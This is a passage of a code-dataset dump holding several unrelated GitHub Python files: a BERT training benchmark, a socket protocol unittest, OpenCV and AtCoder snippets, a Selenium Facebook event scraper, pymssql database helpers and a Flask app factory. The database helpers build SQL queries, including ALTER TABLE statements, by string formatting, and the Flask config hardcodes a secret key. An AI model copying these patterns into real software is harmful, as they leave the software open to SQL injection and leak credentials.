raw_datasets)\n # Load pretrained model and tokenizer\n #\n # In distributed training, the .from_pretrained methods guarantee that only one local process can concurrently\n # download model & vocab.\n config = AutoConfig.from_pretrained(hf_args.model_name_or_path, num_labels=num_labels, finetuning_task=hf_args.task_name)\n tokenizer = AutoTokenizer.from_pretrained(hf_args.model_name_or_path, use_fast=not hf_args.use_slow_tokenizer)\n model = AutoModelForSequenceClassification.from_pretrained(\n hf_args.model_name_or_path,\n from_tf=bool(\".ckpt\" in hf_args.model_name_or_path),\n config=config,)\n train_dataset, eval_dataset, self.mnli_eval_dataset = preprocess_dataset(hf_args, config, model, \\\n tokenizer, raw_datasets, num_labels, label_list, is_regression, accelerator)\n # DataLoaders creation:\n if hf_args.pad_to_max_length:\n # If padding was already done ot max length, we use the default data collator that will just convert everything\n # to tensors.\n self.data_collator = default_data_collator\n else:\n # Otherwise, `DataCollatorWithPadding` will apply dynamic padding for us (by padding to the maximum length of\n # the samples passed). When using mixed precision, we add `pad_to_multiple_of=8` to pad all tensors to multiple\n # of 8s, which will enable the use of Tensor Cores on NVIDIA hardware with compute capability >= 7.5 (Volta).\n self.data_collator = DataCollatorWithPadding(tokenizer, pad_to_multiple_of=(8 if accelerator.use_fp16 else None))\n\n train_dataloader = DataLoader(\n train_dataset, shuffle=True, collate_fn=self.data_collator, batch_size=hf_args.per_device_train_batch_size)\n eval_dataloader = DataLoader(eval_dataset, collate_fn=self.data_collator, batch_size=hf_args.per_device_eval_batch_size)\n\n # transform model for DDP and FSDP\n if hf_args.distributed == \"ddp\":\n # prepare before wrap w/ DDP (or else error)\n model = accelerator.prepare(model)\n local_rank = int(os.getenv(\"LOCAL_RANK\", -1))\n model = DDP(\n model,\n device_ids=[local_rank],\n # If buffer broadcast is necessary, specific optimizations might be\n # necessary to optimize performance. Disable it by default.\n broadcast_buffers=False,\n # Set gradient as bucket view to avoid unnecessary copies\n gradient_as_bucket_view=True,\n # TODO: tune bucket_cap_mb\n static_graph=True,\n )\n elif hf_args.distributed == \"fsdp\":\n # model needs to be prepared and wrapped w/ FSDP before optimizer is created, because FSDP flattens params\n model = accelerator.prepare(model)\n local_rank = int(os.getenv(\"LOCAL_RANK\", -1))\n torch.cuda.set_device(local_rank)\n model = FSDP(\n model,\n device_id = torch.cuda.current_device()\n )\n\n # Setup metrics\n # Get the metric function\n if hf_args.task_name is not None:\n self.metric = evaluate.load(\"glue\", hf_args.task_name)\n else:\n self.metric = evaluate.load(\"accuracy\")\n\n # Setup class members (model and the dataloaders will be updated in _prep_optimizer_and_scheduler() below)\n self.hf_args = hf_args\n self.is_regression = is_regression\n self.accelerator = accelerator\n self.model = model\n self.train_dataloader = train_dataloader\n self.eval_dataloader = eval_dataloader\n\n # Optimizer\n # Split weights in two groups, one with weight decay and the other not.\n no_decay = [\"bias\", \"LayerNorm.weight\"]\n optimizer_grouped_parameters = [\n {\n \"params\": [p for n, p in model.named_parameters() if not any(nd in n for nd in no_decay)],\n \"weight_decay\": hf_args.weight_decay,\n },\n {\n \"params\": [p for n, p in model.named_parameters() if any(nd in n for nd in no_decay)],\n \"weight_decay\": 0.0,\n },\n ]\n self.optimizer = AdamW(optimizer_grouped_parameters, lr=hf_args.learning_rate)\n self._update_everything_with_optimizer()\n\n def _update_everything_with_optimizer(self) -> None:\n # Prepare everything with our `accelerator` with deepspeed or non-distributed environment.\n if self.hf_args.distributed == \"deepspeed\" or self.hf_args.distributed == \"none\":\n # deepspeed will error unless all components prepared at the same time\n self.model, self.train_dataloader, self.eval_dataloader, self.optimizer = self.accelerator.prepare(\n self.model, self.train_dataloader, self.eval_dataloader, self.optimizer)\n else:\n # ddp and fsdp need model prepared before wrapping.\n self.train_dataloader, self.eval_dataloader, self.optimizer = self.accelerator.prepare(\n self.train_dataloader, self.eval_dataloader, self.optimizer)\n \n # Note -> the training dataloader needs to be prepared before we grab his length below (cause its length will be\n # shorter in multiprocess)\n\n # Scheduler and math around the number of training steps.\n num_update_steps_per_epoch = math.ceil(len(self.train_dataloader) / self.hf_args.gradient_accumulation_steps)\n if self.hf_args.max_train_steps is None:\n self.hf_args.max_train_steps = self.hf_args.num_train_epochs * num_update_steps_per_epoch\n else:\n self.hf_args.num_train_epochs = math.ceil(self.hf_args.max_train_steps / num_update_steps_per_epoch)\n\n self.lr_scheduler = get_scheduler(\n name=self.hf_args.lr_scheduler_type,\n optimizer=self.optimizer,\n num_warmup_steps=self.hf_args.num_warmup_steps,\n num_training_steps=self.hf_args.max_train_steps,\n )\n\n def train(self) -> Optional[dict]:\n completed_steps = 0\n eval_metric = None\n for _epoch in range(self.hf_args.num_train_epochs):\n self.model.train()\n for step, batch in enumerate(self.train_dataloader):\n loss = self.run_forward(batch)\n loss = loss / self.hf_args.gradient_accumulation_steps\n self.run_backward(loss)\n if step % self.hf_args.gradient_accumulation_steps == 0 or step == len(self.train_dataloader) - 1:\n self.run_optimizer_step()\n completed_steps += 1\n\n if completed_steps >= self.hf_args.max_train_steps:\n break\n if self.tb_args.validate_in_train:\n self.model.eval()\n for step, batch in enumerate(self.eval_dataloader):\n outputs = self.run_eval(batch)\n predictions = outputs.logits.argmax(dim=-1) if not self.is_regression else outputs.logits.squeeze()\n self.metric.add_batch(\n predictions=self.accelerator.gather(predictions),\n references=self.accelerator.gather(batch[\"labels\"]),\n )\n eval_metric = self.metric.compute()\n if self.tb_args.validate_in_train:\n if self.hf_args.task_name == \"mnli\":\n # Final evaluation on mismatched validation set\n eval_dataset = self.mnli_eval_dataset\n eval_dataloader = DataLoader(\n eval_dataset, collate_fn=self.data_collator, batch_size=self.hf_args.per_device_eval_batch_size\n )\n eval_dataloader = self.accelerator.prepare(eval_dataloader)\n\n self.model.eval()\n for step, batch in enumerate(eval_dataloader):\n outputs = self.run_eval(batch)\n predictions = outputs.logits.argmax(dim=-1)\n self.metric.add_batch(\n predictions=self.accelerator.gather(predictions),\n references=self.accelerator.gather(batch[\"labels\"]),\n )\n\n eval_metric = self.metric.compute()\n # store accuracy results\n if self.hf_args.task_name == \"cola\" and self.tb_args.validate_in_train:\n self.accuracy = eval_metric[\"matthews_correlation\"]\n return eval_metric\n\n def eval(self) -> Optional[dict]:\n self.model.eval()\n for _step, batch in enumerate(self.eval_dataloader):\n with torch.no_grad():\n outputs = self.run_eval(batch)\n predictions = outputs.logits.argmax(dim=-1) if not self.is_regression else outputs.logits.squeeze()\n self.metric.add_batch(\n predictions=self.accelerator.gather(predictions),\n references=self.accelerator.gather(batch[\"labels\"]),\n )\n eval_metric = self.metric.compute()\n return eval_metric\n\n def get_optimizer(self):\n return self.optimizer\n\n def set_optimizer(self, optimizer) -> None:\n self.optimizer = optimizer\n self._update_everything_with_optimizer()\n\n def next_batch(self):\n return next(iter(self.train_dataloader))\n\n def run_forward(self, input):\n \"\"\"\n compute model forward and return loss\n \"\"\"\n if self.dynamo:\n backend = self.opt_args.torchdynamo\n return torch._dynamo.optimize(backend)(self._run_forward)(input)\n else:\n return self._run_forward(input)\n\n def _run_forward(self, input):\n return self.model(**input).loss\n\n def run_backward(self, loss):\n if self.dynamo:\n backend = self.opt_args.torchdynamo\n return torch._dynamo.optimize(backend)(self._run_backward)(loss)\n else:\n return self._run_backward(loss)\n\n def _run_backward(self, loss):\n self.accelerator.backward(loss)\n\n def get_optimizer(self):\n return self.optimizer\n\n def set_optimizer(self, optimizer) -> None:\n self.optimizer = optimizer\n\n def run_optimizer_step(self):\n if self.dynamo and not self.opt_args.dynamo_disable_optimizer_step:\n backend = self.opt_args.torchdynamo\n return torch._dynamo.optimize(backend)(self._run_optimizer_step)()\n else:\n return self._run_optimizer_step()\n\n def _run_optimizer_step(self):\n self.optimizer.step()\n self.lr_scheduler.step()\n self.optimizer.zero_grad()\n\n def run_eval(self, input):\n if self.dynamo:\n backend = self.opt_args.torchdynamo\n return torch._dynamo.optimize(backend)(self._run_eval)(input)\n else:\n return self._run_eval(input)\n\n def _run_eval(self, input):\n return self.model(**input)\n","repo_name":"pytorch/benchmark","sub_path":"torchbenchmark/e2e_models/hf_bert/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":15569,"program_lang":"python","lang":"en","doc_type":"code","stars":699,"dataset":"github-code","pt":"5"} +{"seq_id":"74587123352","text":"\"\"\"\nEnsures that the protocol handlers for the control protocol and the network\nprotocol work as expected.\n\"\"\"\nfrom collections import defaultdict\nimport socket\nimport threading\nimport traceback\nimport unittest\n\nfrom lns import control_proto, reactor\n\n# Change this to some port that is available on your machine, so that the\n# control protocol handler and the control protocol client can communicate\nTEST_CONTROL_PORT = 4097\n\n# How long to check back with a threading.Event, so that the reactor runner\n# thread can die within a reasonable time\nRUNNER_CHECK_TIME = 2\n\ndef reactor_runner_thread(reactor, handler, event):\n \"Steps a reactor, until the given event is triggered.\"\n while not event.isSet():\n reactor.poll(RUNNER_CHECK_TIME)\n handler.close()\n\nclass MockNetworkHandler:\n \"\"\"\n A network handler created to test the control protocol handler, which\n provides static data for testing.\n \"\"\"\n def __init__(self):\n self.host_ips = {'a': ['1.2.3.4', '9.10.11.12'], \n 'b': ['5.6.7.8'], 'c': ['13.14.15.16']}\n self.ip_hosts = {'1.2.3.4': 'a', '5.6.7.8': 'b', '9.10.11.12': 'a',\n '13.14.15.16': 'c'}\n\n def query_host(self, host):\n return self.host_ips.get(host, [])\n\n def query_ip(self, ip):\n return self.ip_hosts.get(ip, None)\n\n def get_host_ip_map(self):\n return self.host_ips.copy()\n\nclass TestNetworkProtocol(unittest.TestCase):\n def setUp(self):\n self.net_handler = MockNetworkHandler()\n self.reactor = reactor.Reactor()\n\n self.control_handler = control_proto.ProtocolHandler(self.net_handler, \n self.reactor, port=TEST_CONTROL_PORT)\n self.control_handler.open()\n\n self.client = control_proto.ClientHandler(port=TEST_CONTROL_PORT)\n self.client.open()\n\n self.reactor_thread_quit_event = threading.Event()\n\n self.reactor_thread = threading.Thread(target=reactor_runner_thread,\n args=(self.reactor, self.control_handler, self.reactor_thread_quit_event))\n self.reactor_thread.setDaemon(True)\n self.reactor_thread.start()\n\n def tearDown(self):\n self.client.close()\n\n self.reactor_thread_quit_event.set()\n self.reactor_thread.join()\n\n def test_query_host(self):\n \"\"\"\n Queries a known and an unknown host name.\n \"\"\"\n self.assertEqual(self.client.get_ip('a'), ['1.2.3.4', '9.10.11.12'])\n self.assertEqual(self.client.get_ip('b'), ['5.6.7.8'])\n self.assertEqual(self.client.get_ip('nonexistent'), [])\n\n def test_query_ip(self):\n \"\"\"\n Queries a known and an unknown IP address.\n \"\"\"\n self.assertEqual(self.client.get_host('1.2.3.4'), 'a')\n self.assertEqual(self.client.get_host('5.6.7.8'), 'b')\n self.assertEqual(self.client.get_host('9.10.11.12'), 'a')\n self.assertEqual(self.client.get_host('13.14.15.16'), 'c')\n self.assertEqual(self.client.get_host('0.0.0.0'), None)\n\n def test_host_ip_mapping(self):\n \"\"\"\n Queries the mapping from hostnames to IP addresses.\n \"\"\"\n self.assertEqual(self.client.get_host_ip_mapping(), \n {'a': ['1.2.3.4', '9.10.11.12'], 'b': ['5.6.7.8'], 'c': ['13.14.15.16']})\n\nif __name__ == '__main__':\n unittest.main()\n","repo_name":"adamnew123456/lnsd","sub_path":"test_handlers.py","file_name":"test_handlers.py","file_ext":"py","file_size_in_byte":3300,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"5"} +{"seq_id":"1572795790","text":"# in this segment will show how we can enhance our image\n\nimport cv2 as cv\n\n# read image by using cv2 in program\nimg = cv.imread(\"aman_img.jpg\") # read color in the form form of bgr.\n# print(img)\n\n# will applay clahe concept here\n# create object for clahe\nclahe = cv.createCLAHE() # initialized clahe object.\n\n# since clahe work on gray color img.\ngray_img = cv.cvtColor(img, cv.COLOR_BGR2GRAY) # converted img into gray format\ncv.imwrite(\"gray_color.png\", gray_img) # cmd to save img in the local storage.\n\n# apply enhancement by using clahe concept\nenhance_img = clahe.apply(gray_img)\n\n# save enhance_img into local storage.\ncv.imwrite(\"enhanced_img.png\", enhance_img)\n\nprint(\"done with enhancement of img\")\n\n","repo_name":"TechnicalAmanjeet/Nptel_Jan_2022","sub_path":"Joy of computing by using python/Weak08/prectice/image_processing/image_enhancement/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":714,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"5"} +{"seq_id":"71497153113","text":"import selenium\nfrom selenium import webdriver\nimport time\nfrom bs4 import BeautifulSoup\nimport re, json\nfrom dateutil.parser import parse\n\nclass FacebookEvent:\n def __init__(self):\n # url is listing page url / Please set filters (time range and location)\n url = \"https://www.facebook.com/events/search?q=rochester&filters=eyJycF9ldmVudHNfbG9jYXRpb246MCI6IntcIm5hbWVcIjpcImZpbHRlcl9ldmVudHNfbG9jYXRpb25cIixcImFyZ3NcIjpcIjEwNzYxMTI3OTI2MTc1NFwifSIsImZpbHRlcl9ldmVudHNfZGF0ZV9yYW5nZTowIjoie1wibmFtZVwiOlwiZmlsdGVyX2V2ZW50c19kYXRlXCIsXCJhcmdzXCI6XCIyMDIyLTA2LTAzXCJ9IiwiZmlsdGVyX2V2ZW50c19kYXRlX3JhbmdlOjEiOiJ7XCJuYW1lXCI6XCJmaWx0ZXJfZXZlbnRzX2RhdGVcIixcImFyZ3NcIjpcIjIwMjItMDYtMDRcIn0iLCJmaWx0ZXJfZXZlbnRzX2RhdGVfcmFuZ2U6MiI6IntcIm5hbWVcIjpcImZpbHRlcl9ldmVudHNfZGF0ZVwiLFwiYXJnc1wiOlwiMjAyMi0wNS0zMH4yMDIyLTA2LTA1XCJ9IiwiZmlsdGVyX2V2ZW50c19kYXRlX3JhbmdlOjMiOiJ7XCJuYW1lXCI6XCJmaWx0ZXJfZXZlbnRzX2RhdGVcIixcImFyZ3NcIjpcIjIwMjItMDYtMDR%2BMjAyMi0wNi0wNVwifSIsImZpbHRlcl9ldmVudHNfY2F0ZWdvcnk6MCI6IntcIm5hbWVcIjpcImZpbHRlcl9ldmVudHNfY2F0ZWdvcnlcIixcImFyZ3NcIjpcIjY2MDAzMjYxNzUzNjM3M1wifSIsImZpbHRlcl9ldmVudHNfY2F0ZWdvcnk6MSI6IntcIm5hbWVcIjpcImZpbHRlcl9ldmVudHNfY2F0ZWdvcnlcIixcImFyZ3NcIjpcIjExMTYxMTE2NDg1MTU3MjFcIn0ifQ%3D%3D\"\n \n options = webdriver.ChromeOptions()\n options.add_experimental_option('prefs', {'intl.accept_languages': 'en,en_US'})\n self.driver = webdriver.Chrome(executable_path=\"lambda_function/chromedriver.exe\", chrome_options=options)\n self.driver.get(url)\n time.sleep(2)\n \n SCROLL_PAUSE_TIME = 3\n\n # Get scroll height\n last_height = self.driver.execute_script(\"return document.body.scrollHeight\")\n\n while True:\n # Scroll down to bottom\n self.driver.execute_script(\"window.scrollTo(0, document.body.scrollHeight);\")\n\n # Wait to load page\n time.sleep(SCROLL_PAUSE_TIME)\n\n # Calculate new scroll height and compare with last scroll height\n new_height = self.driver.execute_script(\"return document.body.scrollHeight\")\n if new_height == last_height:\n break\n last_height = new_height\n \n # All events data\n EVENT_DATAS = []\n\n event_urls = self.getEventUrls()\n print(len(event_urls), event_urls)\n for event_url in event_urls:\n print(event_url)\n \n # We enter the event's page\n self.driver.get(event_url)\n time.sleep(2)\n\n soup = BeautifulSoup(self.driver.page_source, \"lxml\")\n scripts = soup.findAll(\"script\")\n \n # Getting scripts from html page source code\n for script in scripts:\n if \"event_privacy_info\" in str(script):\n data = re.findall(r'adp_PublicEventCometAboutRootQueryRelayPreloader_.*?\",(.*\\})]\\]', str(script),)[0]\n jsonData = json.loads(data)\n \n date = soup.find(\"h2\").text.strip()\n eventDateObj = parse(date.split(\" – \")[0], fuzzy=True)\n eventDayName = eventDateObj.strftime(\"%A\")\n \n try:\n event_image = self.driver.find_element_by_xpath(\"//img[@data-imgperflogname='profileCoverPhoto']\").get_attribute(\"src\")\n except:\n event_image = None\n \n try:\n location_name = jsonData[\"__bbox\"][\"result\"][\"data\"][\"event\"][\"event_place\"][\"name\"]\n except:\n location_name = None \n \n try:\n location_address = jsonData[\"__bbox\"][\"result\"][\"data\"][\"event\"][\"event_place\"][\"contextual_name\"]\n except:\n location_address = None \n \n try:\n lat = jsonData[\"__bbox\"][\"result\"][\"data\"][\"event\"][\"event_place\"][\"location\"][\"longitude\"]\n except:\n lat = None \n \n try:\n lng = jsonData[\"__bbox\"][\"result\"][\"data\"][\"event\"][\"event_place\"][\"location\"][\"latitude\"]\n except:\n lng = None \n \n try:\n description = jsonData[\"__bbox\"][\"result\"][\"data\"][\"event\"][\"event_description\"][\"text\"]\n except:\n description = None \n \n try:\n price = re.findall(r'\\$(.*?) ',str(description))[0]\n except:\n price = None \n \n try:\n categories = [category[\"label\"] for category in jsonData[\"__bbox\"][\"result\"][\"data\"][\"event\"][\"discovery_categories\"]]\n except:\n categories = None \n \n event_info = {\n \"event_url\":event_url,\n \"ea_name\":soup.findAll(\"h2\")[1].text.strip(),\n \"loc_name\":location_name,\n \"loc_address\":location_address,\n \"img_url\":event_image,\n \"img_key\":event_image.split('/')[-1] if event_image else None,\n \"lat\":lat, \n \"lng\":lng,\n \"day_of_event\":eventDayName,\n \"time_of_event\":eventDateObj.strftime(\"%H:%M:%S\"),\n \"frequency\":None,\n \"start_date\":eventDateObj.strftime(\"%Y-%m-%d %H:%M:%S\"),\n \"end_date\":None,\n \"event_info_source\":None,\n \"category\":categories,\n \"description\":description,\n \"state\":None,\n \"email\":None,\n \"contact_name\":None,\n \"contact_phone\":None,\n \"price\":price,\n \"except_for\":None,\n \"tags\": re.findall(r'#([^ #]+)(?=[ #]|$)', description) # getting hastags from description\n }\n \n print(event_info)\n\n EVENT_DATAS.append(event_info)\n\n print(EVENT_DATAS)\n \n # with open('data.json', 'w', encoding='utf-8') as f:\n # json.dump(EVENT_DATAS, f, ensure_ascii=False, indent=4)\n\n def getEventUrls(self):\n # Getting event's url from listing page\n urls = []\n item_index = 1\n while True:\n try:\n urls.append(\n self.driver.find_element_by_xpath(\n \"/html/body/div[1]/div/div[1]/div/div[3]/div/div/div[1]/div[1]/div[2]/div/div/div/div/div/div/div[{}]/a/div[1]/div/div/div/div/div[2]/div[1]/div/div/div/div[2]/span/span/object/a\".format(item_index)\n ).get_attribute(\"href\")\n )\n item_index+=1\n except:\n break\n \n \n return urls\n\n\n\ndef lambda_handler(event, context):\n \n print(\"start scrapping...\")\n FacebookEvent()\n print(\"Done scrapping.\")\n return {\n 'statusCode': 200,\n 'headers': {\n 'Access-Control-Allow-Headers': '*',\n 'Access-Control-Allow-Origin': '*',\n 'Access-Control-Allow-Methods': 'POST'\n },\n 'body': json.dumps('Hello from your new Amplify Python lambda!')\n }\n","repo_name":"ash-v/data_platform_pub","sub_path":"modules/data_ingestion/scrapper_facebooksyr/lambda_function/lambda_function.py","file_name":"lambda_function.py","file_ext":"py","file_size_in_byte":7785,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"5"} +{"seq_id":"40961561950","text":"# import psycopg2\r\nfrom config import config\r\n#from psycopg2 import sql, connect\r\nimport pymssql\r\nimport pandas as pd\r\nfrom collections import Counter\r\n\r\ndef get_columns_names(table):\r\n\r\n # declare an empty list for the column names\r\n columns = []\r\n params = config()\r\n conn = pymssql.connect(\r\n database = params['database'],\r\n user = params['user'],\r\n server = params['host']+\":\"+params[\"port\"],\r\n password = params['password']\r\n )\r\n\r\n # declare cursor objects from the connection\r\n col_cursor = conn.cursor()\r\n\r\n # concatenate string for query to get column names\r\n # SELECT column_name FROM INFORMATION_SCHEMA.COLUMNS WHERE table_name = 'some_table';\r\n col_names_str = \"SELECT column_name FROM INFORMATION_SCHEMA.COLUMNS WHERE \"\r\n col_names_str += \"table_name = '{}';\".format( table )\r\n\r\n try:\r\n # sql_object = sql.SQL(\r\n # # pass SQL statement to sql.SQL() method\r\n # col_names_str\r\n # ).format(\r\n # # pass the identifier to the Identifier() method\r\n # sql.Identifier( table )\r\n # )\r\n\r\n # execute the SQL string to get list with col names in a tuple\r\n col_cursor.execute( col_names_str )\r\n\r\n # get the tuple element from the liast\r\n col_names = ( col_cursor.fetchall() )\r\n\r\n # iterate list of tuples and grab first element\r\n for tup in col_names:\r\n\r\n # append the col name string to the list\r\n columns += [ tup[0] ]\r\n\r\n # close the cursor object to prevent memory leaks\r\n col_cursor.close()\r\n\r\n except Exception as err:\r\n print (\"get_columns_names ERROR:\", err)\r\n\r\n # return the list of column names\r\n return columns\r\n\r\n\r\ndef insert_to_db(df,connection, table_name):\r\n if check_table(table_name):\r\n print(\"Appeding to existing table\")\r\n create_new_column_if_required(table_name, df.columns)\r\n df.to_sql(table_name, con=connection, if_exists='append', index=False)\r\n return df.shape[0]\r\n else:\r\n print('Creating new table')\r\n df.to_sql(table_name, con=connection, if_exists='replace', index=False)\r\n return df.shape[0]\r\n\r\n\r\ndef check_table(table_name):\r\n sql_str = \"select * from information_schema.tables where table_schema='dbo' and table_name='{}'\".format(table_name)\r\n params = config()\r\n conn = pymssql.connect(\r\n database = params['database'],\r\n user = params['user'],\r\n server = params['host']+\":\"+params[\"port\"],\r\n password = params['password']\r\n )\r\n cursor = conn.cursor()\r\n cursor.execute(sql_str)\r\n res = cursor.fetchall()\r\n\r\n return len(res)!=0\r\n\r\ndef create_new_column_if_required(table_name, current_df_columns):\r\n current_table_columns = get_columns_names(table_name)\r\n params = config()\r\n conn = pymssql.connect(\r\n database = params['database'],\r\n user = params['user'],\r\n server = params['host']+\":\"+params[\"port\"],\r\n password = params['password']\r\n )\r\n\r\n for df_column in current_df_columns:\r\n if df_column not in current_table_columns:\r\n print(\"Add {} in {}\".format(df_column, table_name))\r\n sql = 'ALTER TABLE \"{}\" ADD \"{}\" varchar(max);'.format(table_name, df_column)\r\n cursor = conn.cursor()\r\n cursor.execute(sql)\r\n conn.commit()\r\n","repo_name":"Ruhshan/sheet-to-db","sub_path":"utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":3392,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"5"} +{"seq_id":"9138141124","text":"n,k=map(int,input().split())\na=list(map(int,input().split()))\n\nnega=[]\nzeros=[]\npos=[]\n\na=sorted(a)\n\nfor i in range(n):\n if a[i]<0:\n nega.append(a[i])\n elif a[i]>0:\n pos.append(a[i])\n else:\n zeros.append(a[i])\n\n \nl=-min(a)**2\nr=max(a)**2\n\nx=l+(r-l)//2\n\nimport bisect\nwhile r-l>1:\n x=l+(r-l)//2\n cnt=0\n for i in range(n):\n p=x//a[i]\n j=bisect.bisect_right(a,p)\n\n cnt+=j\n \n if cnt>=k:\n r=x\n else:\n l=x\n\nprint(r)\n","repo_name":"Nikkuniku/AtcoderProgramming","sub_path":"ABC/ABC100~ABC199/ABC155/D.py","file_name":"D.py","file_ext":"py","file_size_in_byte":500,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"5"} +{"seq_id":"11658065873","text":"#!/usr/bin/env python\r\n# coding: utf-8\r\n#This is python code that can be run anywhere in this code it stores certain parts of the columns into an array and then sorts it and prints it out\r\n# essentially this code is like a hashmap that stores the total count and sorts it\r\nimport re\r\nimport sys\r\nimport pandas as pd\r\n\r\n\r\ndf = pd.read_csv(r\"C:\\Users\\Jerry Trieu\\Desktop\\School\\4650\\Code\\parking-citations.csv\")\r\ndf = df[\"Issue Date\"].dropna()\r\n\r\nmap = {}\r\narrayDate = []\r\narrayYear = []\r\narrayMonth = []\r\narrayState = []\r\narrayLocation = []\r\n\r\n#Path to the CSV file\r\nstatedf = pd.read_csv(r\"C:\\Users\\Jerry Trieu\\Desktop\\School\\4650\\Code\\parking-citations.csv\")\r\nstatedf = statedf[\"RP State Plate\"].dropna()\r\n\r\n#Path to the CSV file\r\nlocationdf = pd.read_csv(r\"C:\\Users\\Jerry Trieu\\Desktop\\School\\4650\\Code\\parking-citations.csv\")\r\nlocationdf = locationdf[\"Location\"].dropna()\r\n\r\n#Get date\r\n#for i in df:\r\n # i = str(i)\r\n # arrayDate.append(i[5:10])\r\n\r\n#Get Year\r\n#for i in df:\r\n# i = str(i)\r\n# arrayYear.append(i[:4])\r\n\r\n#Get Month\r\n#for i in df:\r\n# i = str(i)\r\n# arrayMonth.append(i[5:7])\r\n\r\n#Get state\r\n#for i in statedf:\r\n# i = str(i)\r\n# arrayState.append(i)\r\n\r\n#Get location\r\nfor i in locationdf:\r\n i = str(i)\r\n arrayLocation.append(i)\r\n\r\n#change the list to either arrayDate, arrayYear, or df\r\nfor i in locationdf:\r\n if i in map:\r\n map[i] = map[i]+1\r\n else:\r\n map[i] = 1\r\n\r\nsortmap = sorted(map.items(), key = lambda kv: kv[1])\r\n'''\r\nx = []\r\ny = []\r\n\r\nfor i,k in sortmap:\r\n x.append(int(i))\r\n y.append(int(k))\r\n''' \r\nfor i in sortmap:\r\n print(i)\r\n\r\n","repo_name":"oceanlu0113/CS4650-Big-Data-Analytics-and-Cloud-Computing","sub_path":"Capstone Project/Most Cited Location/map.py","file_name":"map.py","file_ext":"py","file_size_in_byte":1611,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"5"} +{"seq_id":"72883739352","text":"#!/usr/bin/env python\n# -*- coding: utf-8 -*-\nfrom __future__ import unicode_literals\n\nimport os\n\nfrom os.path import exists, join\n\n\nclass DefaultConfig(object):\n MONGODB_DB = 'ccomptes'\n SECRET_KEY = 'no-secret-this-is-open'\n MAIL_DEFAULT_SENDER = 'ccomptes@locahost'\n ANON_ALERT_MAIL = 'ccomptes.alert@locahost'\n\n\ndef create_app(config=None):\n from flask import Flask\n\n from ccomptes import views, api\n from ccomptes.assets import assets\n from ccomptes.models import db\n from ccomptes.search import es\n\n app = Flask('ccomptes')\n\n app.config.from_object(DefaultConfig)\n app.config.from_envvar('CCOMPTES_CONFIG', silent=True)\n\n custom_settings = join(os.getcwd(), 'ccomptes.cfg')\n if exists(custom_settings):\n app.config.from_pyfile(custom_settings)\n\n if config:\n app.config.from_object(config)\n\n # Optionnal Sentry support\n if 'SENTRY_DSN' in app.config:\n from raven.contrib.flask import Sentry\n Sentry(app)\n\n db.init_app(app)\n es.init_app(app)\n assets.init_app(app)\n views.init_app(app)\n api.init_app(app)\n\n return app\n\n\nif __name__ == '__main__':\n app = create_app()\n app.run()\n","repo_name":"entrepreneur-interet-general/api-ccomptes","sub_path":"ccomptes/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":1184,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"5"} +{"seq_id":"32572186316","text":"#! /usr/bin/env python\nfrom csc import *\nimport sklearn.ensemble\n\nforest_classifier = sklearn.ensemble.GradientBoostingClassifier(subsample=0.5, max_depth=3, n_estimators=50)\nforest_classifier.fit(X_train, y_train)\nforest_prediction = forest_classifier.predict_proba(X_test)[:, 1]\nplotData(X_train, y_train)\nplotContour(forest_classifier.predict_proba)\nsavePlot('forest_classifier.png')\nplotTestStatistic(y_test, forest_prediction)\nsavePlot('forest_statistic.png')\n\nplotROC(y_test, ('Neyman Pearson Lemma', np_prediction), ('Gradient Boosted Decision Tree', forest_prediction))\nsavePlot('forest_roc.png')\n\n","repo_name":"thomaskeck/MultivariateClassificationLecture","sub_path":"python/forest.py","file_name":"forest.py","file_ext":"py","file_size_in_byte":606,"program_lang":"python","lang":"en","doc_type":"code","stars":15,"dataset":"github-code","pt":"5"} +{"seq_id":"15906178248","text":"\"\"\"\n * 给你一个目录信息列表 paths ,包括目录路径,以及该目录中的所有文件及其内容,请你按路径返回文件系统中的所有重复文件。答案可按 任意顺序 ��回。\n * 一组重复的文件至少包括 两个 具有完全相同内容的文件。\n * 输入 列表中的单个目录信息字符串的格式如下:\n * \"root/d1/d2/.../dm f1.txt(f1_content) f2.txt(f2_content) ... fn.txt(fn_content)\"\n * 这意味着,在目录 root/d1/d2/.../dm 下,有 n 个文件 ( f1.txt, f2.txt ... fn.txt ) 的内容分别是 ( f1_content, f2_content ... fn_content ) 。\n * 注意:n >= 1 且 m >= 0 。如果 m = 0 ,则表示该目录是根目录。\n * 输出 是由 重复文件路径组 构成的列表。其中每个组由所有具有相同内容文件的文件路径组成。文件路径是具有下列格式的字符串:\n * \"directory_path/file_name.txt\"\n * 提示:\n * 1、1 <= paths.length <= 2 * 10^4\n * 2、1 <= paths[i].length <= 3000\n * 3、1 <= sum(paths[i].length) <= 5 * 10^5\n * 4、paths[i] 由英文字母、数字、字符 '/'、'.'、'('、')' 和 ' ' 组成\n * 5、你可以假设在同一目录中没有任何文件或目录共享相同的名称。\n * 6、你可以假设每个给定的目录信息代表一个唯一的目录。目录路径和文件信息用单个空格分隔。\n * 进阶:\n * 1、假设您有一个真正的文件系统,您将如何搜索文件?广度搜索还是宽度搜索?\n * 2、如果文件内容非常大(GB级别),您将如何修改您的解决方案?\n * 3、如果每次只能读取 1 kb 的文件,您将如何修改解决方案?\n * 4、修改后的解决方案的时间复杂度是多少?其中最耗时的部分和消耗内存的部分是什么?如何优化?\n * 5、如何确保您发现的重复文件不是误报?\n * 链接:https://leetcode.cn/problems/find-duplicate-file-in-system/\n\"\"\"\n\nfrom typing import *\nfrom collections import defaultdict\n\n\nclass Solution:\n\n def findDuplicate(self, paths: List[str]) -> List[List[str]]:\n dic = defaultdict(list)\n for path in paths:\n data = path.split()\n p = data[0]\n for i in range(1, len(data)):\n idx = data[i].index('(')\n c = data[i][idx + 1:-1]\n dic[c].append(p + '/' + data[i][:idx])\n return [v for v in dic.values() if len(v) > 1]\n\n\nif __name__ == '__main__':\n # [['root/a/1.txt', 'root/c/3.txt'], ['root/a/2.txt', 